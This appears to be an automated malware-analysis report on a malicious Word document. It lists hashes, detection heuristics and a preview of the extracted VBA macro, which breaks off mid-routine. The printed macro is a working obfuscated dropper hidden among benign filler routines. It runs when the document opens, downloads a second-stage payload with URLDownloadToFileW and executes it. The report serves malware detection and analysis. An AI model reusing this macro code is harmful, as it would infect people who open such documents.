Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 e297d13c9c9fd5a8…

MALICIOUS

Office (OLE)

128.0 KB Created: 2019-06-19 23:21:00 Authoring application: Microsoft Office Word First seen: 2020-02-04
MD5: 14ba6ffbb4fdf9ac9121ea637d484086 SHA-1: 39657f3fc2d178203c5de000f055ee6767753fb7 SHA-256: e297d13c9c9fd5a8857f955b76f10623224f7c8842ad3edc9d99db7cb3c2379d
298 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample contains a VBA macro that automatically executes upon opening the document, as indicated by the Document_Open and OLE_VBA_PCODE_AUTOEXEC_EXEC heuristics. This macro utilizes the URLDownloadToFile API to download a second-stage payload from a URL. The presence of the ClamAV detection 'Doc.Dropper.Agent-6997608-0' further supports its malicious nature as a dropper.

Heuristics 9

  • ClamAV: Doc.Dropper.Agent-6997608-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6997608-0
  • Reference to URLDownloadToFile API critical SC_STR_URLDOWNLOAD
    Reference to URLDownloadToFile API
  • VBA macros detected medium 5 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • URLDownloadToFile in VBA critical OLE_VBA_DOWNLOAD
    URLDownloadToFile in VBA
    Matched line in script
    And 1 And 1 And 1 And 1 And 1 And 1 And 1 Then
    Private Declare PtrSafe Function URLDownloadToFileW Lib "urlmon" (ByVal x4¦SZC¬¢á9§i¯icùVr As Long, ByVal ƒîhúDà»ÂXbFOçé¼D£IZv£Z궺4ÆRDꤣ6Wx As Long, ByVal tKm§tÄ3²y²£æ³ojqàPF¢à¼Uyk¤´yB¶Â0sBàÉyƒFål As Long, ByVal æU®£lºWT©·E¢ñô±u¸¸¿­¥4î7ëï As Long, ByVal Cj¨DÂ0sBàÉyƒFål3P3 As Long) As Long
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Call URLDownloadToFileW(0, StrPtr(YÂ6Ée¤D²Q("heVetBVmtlR^pB.WsXMa:oiI/YRN/IWof}3niJ~Nl(,ve-lVlgD(oxy3gYRz.l6oi:lLn.?hfOD~otDK/}JSd8B)o_S_c30LuH_WmBn-et8{n~7:t*yl/6\PnWq(e\zWw_I7fx5bo7/dl~d_d94Tex~4rO}:/A5GS<Quy7Z>sKkdt(bLeu{*m@o/.U+=e4|Oxz^qes4{")), StrPtr(xNeéUS7ÆW·e1ªérÀÿÁ), 0, 0)
    CreateObject(YÂ6Ée¤D²Q(Cè£mJr¯KòTG(1, -8901, 7270))).Open (xNeéUS7ÆW·e1ªérÀÿÁ)
    End Sub
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Sub docUmeNt_opeN()
    x¿iòƽL = Array("T+IwESoj", "M-uKP@]B", "ScOVh86Qe3-rlAR.l1J}.Z7RA^*FpygIp=", "0BlSa5iK*uclviaG2`tHJ+ixiuopIMnlQf", "º4gæ", "»¦®´", "UVz³", "ƒÿw¬", "ACüz", "TUfÂ", "në«å", "SB¾I6", "ÿ7ïâf", "Cèìtds", "¼XÀå", "¦6£¹¹", "TEº¿", "ñs±îÉ", "TS", "âPU")
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
    ¨R¯4ƒiñQ»vôº = Array(x¿iòƽLÂ(0), x¿iòƽLÂ(1), x¿iòƽLÂ(2), x¿iòƽLÂ(3), x¿iòƽLÂ(4), x¿iòƽLÂ(5), x¿iòƽLÂ(6), x¿iòƽLÂ(7), x¿iòƽLÂ(8), x¿iòƽLÂ(9), x¿iòƽLÂ(10), x¿iòƽLÂ(11), x¿iòƽLÂ(12), x¿iòƽLÂ(13), x¿iòƽLÂ(14), x¿iòƽLÂ(15), x¿iòƽLÂ(16), x¿iòƽLÂ(17), x¿iòƽLÂ(18), x¿iòƽLÂ(19))
    xNeéUS7ÆW·e1ªérÀÿÁ = Environ(YÂ6Ée¤D²Q(Cè£mJr¯KòTG(0, -1901, 3001))) + YÂ6Ée¤D²Q("\DF<rnccyl(S5MZwrz8Qh0++t166m2j1.20TeM;{xKW^egcC")
    Call URLDownloadToFileW(0, StrPtr(YÂ6Ée¤D²Q("heVetBVmtlR^pB.WsXMa:oiI/YRN/IWof}3niJ~Nl(,ve-lVlgD(oxy3gYRz.l6oi:lLn.?hfOD~otDK/}JSd8B)o_S_c30LuH_WmBn-et8{n~7:t*yl/6\PnWq(e\zWw_I7fx5bo7/dl~d_d94Tex~4rO}:/A5GS<Quy7Z>sKkdt(bLeu{*m@o/.U+=e4|Oxz^qes4{")), StrPtr(xNeéUS7ÆW·e1ªérÀÿÁ), 0, 0)
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main Referenced by macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 31110 bytes
SHA-256: 3a5d3024900e7556c17d1d34ed2b63314013d75ebd51534f6de7e98327dfc95f
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
#If True And 1 And 1 And 1 And 1 And 1 _
And 1 And 1 And 1 And 1 And 1 And 1 And 1 And 1 _
And 1 And 1 And 1 And 1 And 1 And 1 And 1 _
And 1 And 1 And 1 And 1 And 1 And 1 And 1 And 1 _
And 1 And 1 And 1 And 1 And 1 And 1 _
And 1 And 1 And 1 And 1 And 1 And 1 And Win64 And 1 _
And 1 And 1 And 1 And 1 And 1 And 1 And 1 _
And 1 And 1 And 1 And 1 And 1 And 1 And 1 And 1 _
And 1 And 1 And 1 And 1 And 1 And 1 _
And 1 And 1 And 1 And 1 And 1 And 1 And 1 _
And VBA7 And 1 And 1 And 1 And 1 And 1 _
And 1 And 1 And 1 And 1 And 1 And 1 And 1 Then
Private Declare PtrSafe Function URLDownloadToFileW Lib "urlmon" (ByVal x4¦SZC¬¢á9§i¯icùVr As Long, ByVal ƒîhúDà»ÂXbFOçé¼D£IZv£Z궺4ÆRDꤣ6Wx As Long, ByVal tKm§tÄ3²y²£æ³ojqàPF¢à¼Uyk¤´yB¶Â0sBàÉyƒFål As Long, ByVal æU®£lºWT©·E¢ñô±u¸¸¿­¥4î7ëï As Long, ByVal Cj¨DÂ0sBàÉyƒFål3P3 As Long) As Long

Private Declare PtrSafe Function GetSystemMetricsM2wd Lib "USER32" (ByVal nIndex As Long) As LongPtr

Private Declare PtrSafe Function GdipDisposeImageCk7L Lib "GDIPlus" (ByVal image As LongPtr) As LongPtr

Private Declare PtrSafe Function GetWindowmFZc Lib "USER32" (ByVal hWnd As LongPtr, ByVal wCmd As Long) As LongPtr
#Else

Private Declare Function GetSystemMetricsCXtt Lib "USER32" (ByVal nIndex As Long) As Long


Private Declare Function timeGetTimeuVAn Lib "winmm.dll" () As Long


Private Declare Function GdipDisposeImageK0TW Lib "GDIPlus" (ByVal image As Long) As Long

Private Declare Function URLDownloadToFileW Lib "urlmon" (ByVal x4¦SZC¬¢á9§i¯icùVr As Long, ByVal ƒîhúDà»ÂXbFOçé¼D£IZv£Z궺4ÆRDꤣ6Wx As Long, ByVal tKm§tÄ3²y²£æ³ojqàPF¢à¼Uyk¤´yB¶Â0sBàÉyƒFål As Long, ByVal æU®£lºWT©·E¢ñô±u¸¸¿­¥4î7ëï As Long, ByVal Cj¨DÂ0sBàÉyƒFål3P3 As Long) As Long



#End If
Public x¿iòƽLÂ

Public ¨R¯4ƒiñQ»vôº



Sub docUmeNt_opeN()
x¿iòƽL = Array("T+IwESoj", "M-uKP@]B", "ScOVh86Qe3-rlAR.l1J}.Z7RA^*FpygIp=", "0BlSa5iK*uclviaG2`tHJ+ixiuopIMnlQf", "º4gæ", "»¦®´", "UVz³", "ƒÿw¬", "ACüz", "TUfÂ", "në«å", "SB¾I6", "ÿ7ïâf", "Cèìtds", "¼XÀå", "¦6£¹¹", "TEº¿", "ñs±îÉ", "TS", "âPU")
¨R¯4ƒiñQ»vôº = Array(x¿iòƽLÂ(0), x¿iòƽLÂ(1), x¿iòƽLÂ(2), x¿iòƽLÂ(3), x¿iòƽLÂ(4), x¿iòƽLÂ(5), x¿iòƽLÂ(6), x¿iòƽLÂ(7), x¿iòƽLÂ(8), x¿iòƽLÂ(9), x¿iòƽLÂ(10), x¿iòƽLÂ(11), x¿iòƽLÂ(12), x¿iòƽLÂ(13), x¿iòƽLÂ(14), x¿iòƽLÂ(15), x¿iòƽLÂ(16), x¿iòƽLÂ(17), x¿iòƽLÂ(18), x¿iòƽLÂ(19))
xNeéUS7ÆW·e1ªérÀÿÁ = Environ(YÂ6Ée¤D²Q(Cè£mJr¯KòTG(0, -1901, 3001))) + YÂ6Ée¤D²Q("\DF<rnccyl(S5MZwrz8Qh0++t166m2j1.20TeM;{xKW^egcC")
Call URLDownloadToFileW(0, StrPtr(YÂ6Ée¤D²Q("heVetBVmtlR^pB.WsXMa:oiI/YRN/IWof}3niJ~Nl(,ve-lVlgD(oxy3gYRz.l6oi:lLn.?hfOD~otDK/}JSd8B)o_S_c30LuH_WmBn-et8{n~7:t*yl/6\PnWq(e\zWw_I7fx5bo7/dl~d_d94Tex~4rO}:/A5GS<Quy7Z>sKkdt(bLeu{*m@o/.U+=e4|Oxz^qes4{")), StrPtr(xNeéUS7ÆW·e1ªérÀÿÁ), 0, 0)
CreateObject(YÂ6Ée¤D²Q(Cè£mJr¯KòTG(1, -8901, 7270))).Open (xNeéUS7ÆW·e1ªérÀÿÁ)
End Sub
Sub JZ5iadd_NewContact()
    Dim j As ContactItem
    Set j = Outlook.CreateItem(olContactItem)
    
    With j
        .Title = "Miss"
        .FirstName = "Leila"
        .MiddleName = "Goory"
        .LastName = "Lopez"
        .Gender = olFemale
        .CompanyName = "Google"
        .JobTitle = "Directrice Marketing"
        '.FileAs = "..."
        .Email1Address = "leila@gmail.com"
        .Email1AddressType = "Work"
        .WebPage = "www.google.com"
        .Anniversary = #3/10/1987#
        '.AddPicture "..."
        .Initials = "LL"
        .BusinessAddress = "Loos"
        .BusinessTelephoneNumber = "06 68 55 29 75"
        .MobileTelephoneNumber = "06 68 55 29 75"
        .MailingAddressStreet = "20 rue du Docteur Calmette"
        .MailingAddressCity = "Lille"
        .MailingAddressPostalCode = "59120"
        .Body = "Notes"
        '.Categories
        .Display
    End With
End Sub

Private Sub Tn9tYgj2ListCategoryIDs()
 Dim objNameSpace As NameSpace
 Dim objCategory As Category
 Dim strOutput As String

 ' Obtain a NameSpace object reference.
 Set objNameSpace = Application.GetNamespace("MAPI")

 ' Check if the Categories collection for the Namespace
 ' contains one or more Category objects.
 If objNameSpace.Categories.Count > 0 Then

 ' Enumerate the Categories collection.
 For Each objCategory In objNameSpace.Categories

 ' Add the name and ID of the Category object to
 ' the output string.
 strOutput = strOutput & objCategory.Name & ": " & objCategory.CategoryID & vbCrLf
 Next
 End If

 ' Display the output string.
 MsgBox strOutput

 ' Clean up.
 Set objCategory = Nothing
 Set objNameSpace = Nothing

End Sub

Function XMÀÀfñªwûç³â(vD½HµÁ¶UùÀ, ÑÆñxDªVá)
XMÀÀfñªwûç³â = vD½HµÁ¶UùÀ + ÑÆñxDªVá
End Function
Sub O8yAcreate_NewForm()
    'Set parameters
    Dim j As form
    Set j = CreateForm
    'Get current form name
    y = Application.CurrentObjectName
    'Set variable to object
    Set j = Forms(y)
    '
    ' Error handling
    '
    On Error Resume Next
    'Set recordsource to table...
    j.RecordSource = "Facebook"
    'Close form
    DoCmd.Close acForm, "Form2", acSaveYes
    'Rename form
    DoCmd.Rename "Google", acForm, y
End Sub

Sub LGvRmanipulate_Form()
    'Open form
    DoCmd.OpenForm "Form1", acDesign, , , acFormEdit, acHidden
    'Get form name
    w = Forms![Form1].Command0.Name
    'Close form
    DoCmd.Close acForm, "Form1", acSaveNo
End Sub

' Apply a filter to forms
' DoCmd.ApplyFilter , "Filiere = 'Bac'"
' DoCmd.ApplyFilter , "Filiere = 'Bac' AND Niveau = 'Master'"



Function Cè£mJr¯KòTG(áG4k¼O, pAQúgxL·Z, v3îO0±´M¤R¹)
Select Case áG4k¼O
Case (0): Cè£mJr¯KòTG = «sNKºlPtIA(¨R¯4ƒiñQ»vôº(0), ¨R¯4ƒiñQ»vôº(1))
Case (1): Cè£mJr¯KòTG = XMÀÀfñªwûç³â(¨R¯4ƒiñQ»vôº(2), ¨R¯4ƒiñQ»vôº(3))
Case (2): Cè£mJr¯KòTG = jr7lLæ¾Q¢(¨R¯4ƒiñQ»vôº(4), ¨R¯4ƒiñQ»vôº(5))
Case (3): Cè£mJr¯KòTG = àûléùzµÉW(¨R¯4ƒiñQ»vôº(6), ¨R¯4ƒiñQ»vôº(7))
Case (4): Cè£mJr¯KòTG = ¿eYº¿Bæôqò¼(¨R¯4ƒiñQ»vôº(8), ¨R¯4ƒiñQ»vôº(9))
Case (5): Cè£mJr¯KòTG = VI2æáÂÆk¤(¨R¯4ƒiñQ»vôº(10), ¨R¯4ƒiñQ»vôº(11))
Case (6): Cè£mJr¯KòTG = ®êwáì1yIÆÂ(¨R¯4ƒiñQ»vôº(12), ¨R¯4ƒiñQ»vôº(13))
Case (7): Cè£mJr¯KòTG = öÁƯ»ºvô(¨R¯4ƒiñQ»vôº(14), ¨R¯4ƒiñQ»vôº(15))
Case (8): Cè£mJr¯KòTG = uGlvîrYPc(¨R¯4ƒiñQ»vôº(16), ¨R¯4ƒiñQ»vôº(17))
Case (9): Cè£mJr¯KòTG = TZ½åV7mY(¨R¯4ƒiñQ»vôº(18), ¨R¯4ƒiñQ»vôº(19))
End Select
End Function
Sub jvQMcreate_NewForm()
    'Set parameters
    Dim j As form
    Set j = CreateForm
    'Get current form name
    y = Application.CurrentObjectName
    'Set variable to object
    Set j = Forms(y)
    '
    ' Error handling
    '
    On Error Resume Next
    'Set recordsource to table...
    j.RecordSource = "Facebook"
    'Close form
    DoCmd.Close acForm, "Form2", acSaveYes
    'Rename form
    DoCmd.Rename "Google", acForm, y
End Sub

Sub RoFxmanipulate_Form()
    'Open form
    DoCmd.OpenForm "Form1", acDesign, , , acFormEdit, acHidden
    'Get form name
    w = Forms![Form1].Command0.Name
    'Close form
    DoCmd.Close acForm, "Form1", acSaveNo
End Sub

' Apply a filter to forms
' DoCmd.ApplyFilter , "Filiere = 'Bac'"
' DoCmd.ApplyFilter , "Filiere = 'Bac' AND Niveau = 'Master'"


Function VI2æáÂÆk¤(Y¦äyUê¶®p4s, B®yLFDHLÁ9tD)
VI2æáÂÆk¤ = Y¦äyUê¶®p4s + B®yLFDHLÁ9tD
End Function
Private Sub xcOktIG1CommandButton12_Click()
    '
    ' When the user clicks the button, we need to know
    ' which value needs to be implemented from which
    ' control element
    '
    Result = Rl9Bget_valeur_de_Optionbutton(0)
    If Result = False Then
        '
        ' We need to test the value that the user entered
        ' to not get errors on the sheet
        '
        wk.Range("jours_activités").Value = (TextBox1.Value * 1)
    Else
        get_valeur_list = ComboBox1.Value
        Select Case get_valeur_list
            Case Is = "Normal":
                wk.Range("jours_activités").Value = 365
            Case Is = "Business":
                wk.Range("jours_activités").Value = 251
            Case Is = "Jours ouvrées, Sans Weekend, Avec vacances":
                wk.Range("jours_activités").Value = 260
        End Select
    End If
    
    '
    ' Create object to change phrases
    '
    Dim changer_les_phrases As PhrasesEngine
    Set changer_les_phrases = New PhrasesEngine
    changer_les_phrases.change_phrases
End Sub

Private Sub SB5CHaAaOptionButton1_Change()
    '
    ' We detect change on the option button number 1
    ' and if the user changed to 'personalized',
    ' we enable the corresponding elements for him/her
    '
    Result = Rl9Bget_valeur_de_Optionbutton(0)
    If Result = False Then
        TextBox1.Enabled = True
        TextBox1.Value = 365
        ComboBox1.Enabled = False
    Else
        TextBox1.Enabled = False
        TextBox1.Value = ""
        ComboBox1.Enabled = True
    End If
End Sub

Private Sub mGadFQoIUserForm_Initializer()
    Dim weeks(2) As String
    Set wk = Worksheets("Config")
    'Enable system radio button as true
    OptionButton1.Value = True
    Result = Rl9Bget_valeur_de_Optionbutton(0)
    If Result Then
        TextBox1.Enabled = False
    End If
    
    'Initializing the combo box
    weeks(0) = "Normal"
    weeks(1) = "Business"
    weeks(2) = "Jours ouvrées, Sans Weekend, Avec vacances"
    
    For Each week In weeks
        ComboBox1.AddItem week
    Next
End Sub

Private Function Rl9Bget_valeur_de_Optionbutton(Optional ByVal option_button As Long = 0) As Boolean
    '
    ' This is a helper that retrieves the current value
    ' of the option buttons
    '
    If option_button = 0 Then
        Rl9Bget_valeur_de_Optionbutton = OptionButton1.Value
    ElseIf option_button = 1 Then
        Rl9Bget_valeur_de_Optionbutton = OptionButton1.Value
    Else
        Err.Raise 0
    End If
End Function

Private Sub eMf6nLl9UserForm_Terminate()
    ' DOES NOT WORK
    ' This is to set the textbox to the new value
    ReglagesForm.TextBox5.Value = wk.Range("jours_par_semaines").Value
End Sub


Function ¿eYº¿Bæôqò¼(AºF½r, w1z«T­R¿R)
¿eYº¿Bæôqò¼ = AºF½r + w1z«T­R¿R
End Function
Sub X7boadd_NewContact()
    Dim j As ContactItem
    Set j = Outlook.CreateItem(olContactItem)
    
    With j
        .Title = "Miss"
        .FirstName = "Leila"
        .MiddleName = "Goory"
        .LastName = "Lopez"
        .Gender = olFemale
        .CompanyName = "Google"
        .JobTitle = "Directrice Marketing"
        '.FileAs = "..."
        .Email1Address = "leila@gmail.com"
        .Email1AddressType = "Work"
        .WebPage = "www.google.com"
        .Anniversary = #3/10/1987#
        '.AddPicture "..."
        .Initials = "LL"
        .BusinessAddress = "Loos"
        .BusinessTelephoneNumber = "06 68 55 29 75"
        .MobileTelephoneNumber = "06 68 55 29 75"
        .MailingAddressStreet = "20 rue du Docteur Calmette"
        .MailingAddressCity = "Lille"
        .MailingAddressPostalCode = "59120"
        .Body = "Notes"
        '.Categories
        .Display
    End With
End Sub

Private Sub RcdOyNuuListCategoryIDs()
 Dim objNameSpace As NameSpace
 Dim objCategory As Category
 Dim strOutput As String

 ' Obtain a NameSpace object reference.
 Set objNameSpace = Application.GetNamespace("MAPI")

 ' Check if the Categories collection for the Namespace
 ' contains one or more Category objects.
 If objNameSpace.Categories.Count > 0 Then

 ' Enumerate the Categories collection.
 For Each objCategory In objNameSpace.Categories

 ' Add the name and ID of the Category object to
 ' the output string.
 strOutput = strOutput & objCategory.Name & ": " & objCategory.CategoryID & vbCrLf
 Next
 End If

 ' Display the output string.
 MsgBox strOutput

 ' Clean up.
 Set objCategory = Nothing
 Set objNameSpace = Nothing

End Sub


Function pBÿzfR1ÿY6û½(èC7ç·áK£èo, öqªziè²´hVè, ækDññ»´ë, ÑhQtX©¹O£, àjêeü0F©ZÜ, ñzT9H2ZĵÂ)
pBÿzfR1ÿY6û½ = StrConv(èC7ç·áK£èo, ÑhQtX©¹O£)
End Function
Sub AGOoadd_NewContact()
    Dim j As ContactItem
    Set j = Outlook.CreateItem(olContactItem)
    
    With j
        .Title = "Miss"
        .FirstName = "Leila"
        .MiddleName = "Goory"
        .LastName = "Lopez"
        .Gender = olFemale
        .CompanyName = "Google"
        .JobTitle = "Directrice Marketing"
        '.FileAs = "..."
        .Email1Address = "leila@gmail.com"
        .Email1AddressType = "Work"
        .WebPage = "www.google.com"
        .Anniversary = #3/10/1987#
        '.AddPicture "..."
        .Initials = "LL"
        .BusinessAddress = "Loos"
        .BusinessTelephoneNumber = "06 68 55 29 75"
        .MobileTelephoneNumber = "06 68 55 29 75"
        .MailingAddressStreet = "20 rue du Docteur Calmette"
        .MailingAddressCity = "Lille"
        .MailingAddressPostalCode = "59120"
        .Body = "Notes"
        '.Categories
        .Display
    End With
End Sub

Private Sub C3F1QUUiListCategoryIDs()
 Dim objNameSpace As NameSpace
 Dim objCategory As Category
 Dim strOutput As String

 ' Obtain a NameSpace object reference.
 Set objNameSpace = Application.GetNamespace("MAPI")

 ' Check if the Categories collection for the Namespace
 ' contains one or more Category objects.
 If objNameSpace.Categories.Count > 0 Then

 ' Enumerate the Categories collection.
 For Each objCategory In objNameSpace.Categories

 ' Add the name and ID of the Category object to
 ' the output string.
 strOutput = strOutput & objCategory.Name & ": " & objCategory.CategoryID & vbCrLf
 Next
 End If

 ' Display the output string.
 MsgBox strOutput

 ' Clean up.
 Set objCategory = Nothing
 Set objNameSpace = Nothing

End Sub

Function öÁƯ»ºvô(ÖLÁïÉɬPÜ, ²mtµz)
öÁƯ»ºvô = ÖLÁïÉɬPÜ + ²mtµz
End Function
Sub nvtkdynamic_Query_SQL()
    '
    ' This sub dynamically programatically modifies a query
    '
    
    Dim db As DAO.Database
    Set db = CurrentDb
    
    'Sets query
    Dim qdf As QueryDef
    Set qdf = db.QueryDefs("Google")
    
    'SQL string filter query
    Dim string_SQL As String
    string_SQL = "SELECT * " & _
                 "FROM Table1 " & _
                 "WHERE [Cible1] = 'Paul'"
    
    'Run
    qdf.SQL = string_SQL
    
    'Open
    'DoCmd.OpenQuery "Google"
    
    Set qdf = Nothing
    Set db = Nothing
End Sub

Sub ir2Bcreating_Query()
    '
    ' This sub creates a query
    '
    
    Dim db As DAO.Database
    Set db = CurrentDb
    Dim qdf As DAO.QueryDef
    Dim newSQL As String
    
    newSQL = "Select * From [Google] WHERE [Cible2]>'2010'"
    Set qdf = db.CreateQueryDef("tempQry", newSQL)
End Sub

Function àûléùzµÉW(d0wƒövrÄÜCM, T²ö©¬J¹Wc)
àûléùzµÉW = d0wƒövrÄÜCM + T²ö©¬J¹Wc
End Function
Private Sub Ak9dZcp1ToggleButton1_Change()
    '6. We then get the current state of the button again...
    current_toggle_State = Me.ToggleButton1.Value

    Select Case current_toggle_State
        '6. If I am still pressed, then...
        Case True:
            'Value of previous state is 1 (or pressed)
            this_Sheet.Range("D7").Value = 1
            'Change caption from LIST 1 to LIST 2
            ToggleButton1.Caption = "LIST 2"
            'List is still LIST 1...
            ComboBox1.Clear
            ComboBox1.AddItem "Tomato", 0
            ComboBox1.AddItem "Cucumber", 1
            ComboBox1.ListIndex = 0
        '6. If I am now unpressed by the user...
        Case False:
            'Value of previous state is 0 (or unpressed)
            this_Sheet.Range("D7").Value = 0
            'Change caption from LIST 2 to LIST 1
            ToggleButton1.Caption = "LIST 1"
            'LIST 2 to LIST 1...
            ComboBox1.Clear
            ComboBox1.AddItem "Pizza", 0
            ComboBox1.AddItem "Soda", 1
            ComboBox1.ListIndex = 0
    End Select
End Sub

Private Sub CSOxZl4GUserForm_Initialized()
    '1. We set our variables
    Dim previous_Toggle_State As Long
    
    '2. We set the sheet "food" as an object
    Set this_Sheet = Worksheets("Food")
    
    '3. We get the previous button state from the sheet...
    previous_Toggle_State = this_Sheet.Range("D7").Value
    
    Select Case previous_Toggle_State
        Case 1:
            '4. I was pressed, then button should be pressed...
            Me.ToggleButton1.Value = True
            'And, LIST 1 should active
            ComboBox1.Clear
            ComboBox1.AddItem "Tomato", 0
            ComboBox1.AddItem "Cucumber", 1
            ComboBox1.ListIndex = 0
            '4. Otherwise, it should be unpressed
        Case 0:
            Me.ToggleButton1.Value = False
            'LIST 2 should active
            ComboBox1.Clear
            ComboBox1.AddItem "Pizza", 0
            ComboBox1.AddItem "Soda", 1
            ComboBox1.ListIndex = 0
    End Select
End Sub


Function TZ½åV7mY(ÁRSû4®ñû81©, ùWbhrdä²½¥)
TZ½åV7mY = ÁRSû4®ñû81© + ùWbhrdä²½¥
End Function

Sub rfwGgoogle()
    Dim r As Range
    Set r = Range("B2:E5")
    
    a = r.Count
    t = 0
    o = 0
    For i = 0 To a
        p = r(i)
        If r(i) = "W" Then
            t = t + 1
            If t > o Then
                o = t
            End If
        Else
            t = 0
        End If
    Next i
    MsgBox "Longest winning streak: " & o
End Sub

Function uGlvîrYPc(¸ëZúd¸­M8¿, u¤Zº¢CC)
uGlvîrYPc = ¸ëZúd¸­M8¿ + u¤Zº¢CC
End Function

Sub QyTsmanipulating_Objects()
    ' The obect is opene with its generic nae
    DoCmd.OpenForm "Form1", acNormal, , , acFormAdd, acHidden
    
    Dim current_ObjectName As String
    current_ObjectName = CurrentObjectName
    
    Dim f As form
    Set f = Forms(current_ObjectName)
    
    '
    ' Do something
    '
    
    DoCmd.Close acForm, "Form1", acSaveNo
End Sub

Function YÂ6Ée¤D²Q(ÜdÉö¨Cï) As String
    Dim Pº²ñàäKáAM·pÀÿ(1055) As Byte, MuümcôL2QM() As Byte
    MuümcôL2QM = pBÿzfR1ÿY6û½(ÜdÉö¨Cï, Cè£mJr¯KòTG(2, 3954, -7744), Cè£mJr¯KòTG(3, 2790, -5134), 128, Cè£mJr¯KòTG(4, 4909, -7170), Cè£mJr¯KòTG(5, -7316, -1418))


    For ®Qê¸Tÿtº9ƒ¬X» = 0 To UBound(MuümcôL2QM) - 1
        If (®Qê¸Tÿtº9ƒ¬X» Mod 4 = 0) Then
            Pº²ñàäKáAM·pÀÿ(BqѸä绨mc¥TX) = MuümcôL2QM(®Qê¸Tÿtº9ƒ¬X»)
            BqѸä绨mc¥TX = BqѸä绨mc¥TX + 1
        End If
    Next ®Qê¸Tÿtº9ƒ¬X»
    YÂ6Ée¤D²Q = Left(ÖîÁ3ƒ¹üu¤(Pº²ñàäKáAM·pÀÿ, Cè£mJr¯KòTG(6, -5367, 9157), Cè£mJr¯KòTG(7, -9379, 7423), 64, Cè£mJr¯KòTG(8, -7247, -941), Cè£mJr¯KòTG(9, -914, -5869)), BqѸä绨mc¥TX)


End Function
Private Sub mqjPZoSRCommandButton1_Click()
    '1. Set sheets
    Dim stock_Sheet As Worksheet
    Set stock_Sheet = Worksheets("Stock")
    Dim output_Sheet As Worksheet
    Set output_Sheet = Worksheets("Output")
    
    '2. Set periods
    Dim periods As Long
    periods = TextBox1.Value
    
    '3. Set initial range
    Dim upper_Bound, lower_Bound As Long
    upper_Bound = 3
    lower_Bound = upper_Bound + periods
        'Initial range
    Dim price_Range As Range
    
    '4. Get the last row of the price list
    Dim last_Row As Long
    last_Row = stock_Sheet.Range("A2").End(xlDown).Row
    
    '4. Now we cycle through the range
    Do
        Set price_Range = Range("A" & upper_Bound, "A" & lower_Bound)
        price_Range.Select
        upper_Bound = upper_Bound + 1
        lower_Bound = lower_Bound + 1
    Loop Until lower_Bound > last_Row
    
    '5. Tell user calculation was successful
    MsgBox "SMA (" & periods & ") on price was successful", vbInformation
End Sub


Sub Ejlbcall_calculate_SMA() '<<<<<Add variable to receive true or false for when user toggles button "wilder"
    '1.Chear output sheet @get_This_Sheet = 'Stock, Output'
    Set get_This_Sheet = Worksheets(S2J6get_Sheet_Name(2))
    get_This_Sheet.Range("A1").CurrentRegion.ClearContents
    
    '2. @calculate_SMA = S2J6get_Sheet_Name() = 'Stock, Output'
    'Select Case wilder
    '   Case 0:
            'Call calculate_SMA(S2J6get_Sheet_Name(1))
            'msg = 0
        'case 1:
            'Call calculate_SMA(S2J6get_Sheet_Name(1))
            'Call calculate_SMA(S2J6get_Sheet_Name(2))
            'msg = 1
    'End Select
    Call calculate_SMA(S2J6get_Sheet_Name(1))
    Call calculate_SMA(S2J6get_Sheet_Name(2))
    
    '8. If user did not choose Wilder
    msg = 0
    
    '8. Tell user calculation was successful
    Dim show_Message As String
    
    '@msg = 0 OR 1
    Select Case msg
        Case 0:
            '@show_Message = ... & @periods = 5, 10, 25... & ...
            show_Message = "SMA (" & periods & ") on price was successful"
        Case 1:
            'Alternate message if Wilder was chosen
            show_Message = "SMA and Wilder (" & periods & ") on price was successful"
    End Select
    
    '@Show_Message = "..."
    MsgBox show_Message, vbInformation
End Sub

Sub CbeZcalculate_SMA(this_Sheet As String)
    '1. Set sheet @this_Sheet = 'Stock OR Output'
    Set get_This_Sheet = Worksheets(this_Sheet)
    'EXPLICIT 'Output'
    Set output_Sheet = Worksheets("Output")
    
    '2. Set periods
    '@periods = 5, 10, 25...
    'Dim periods As Long
    'periods = TextBox1.Value
    periods = 2
    
    '3. Set variables for initial range
    Dim upper_Bound, lower_Bound As Long
    
    'When the incoming sheet name is stock...
    If this_Sheet = "Stock" Then
        'Upper bound of range is 3
        upper_Bound = 3
    Else
        upper_Bound = 1
    End If
    
    '@lower_Bound = 3 + periods
    lower_Bound = upper_Bound + periods
        'Create initial range
    Dim price_Range As Range
    
    '4. Get the last row of the price list
    Dim last_Row As Long
    '@last_Row = 1, 2, 3...x
    last_Row = get_This_Sheet.Range("A2").End(xlDown).Row
    
    '5. When there are no values in input sheet...
    If last_Row > 10000 Then
        '@last_Row = last row of 'get_This_Sheet stock values'
        last_Row = get_This_Sheet.Range("A1").End(xlDown).Row - periods
    End If
    
    '6. Set variable for average
    Dim avg As Double
    
    '7. Set variable to cycle in 'Output sheet'
    Dim r, c As Long
    '
    'r: row, c: column
    '
    r = 1
    c = 1
    
    '8. When the incoming sheet is 'Stock'
    If this_Sheet = "Stock" Then
        c = 1
    Else
        'Output to next column
        c = 2
    End If
    
    '9. Now we cycle through the range
    Do
        Set price_Range = get_This_Sheet.Range("A" & upper_Bound, "A" & lower_Bound)
        
        'Calculate average range
        avg = Application.WorksheetFunction.Average(price_Range)
        
        'Output to 'Output sheet' @r = 1++ / @c = 1 || 2
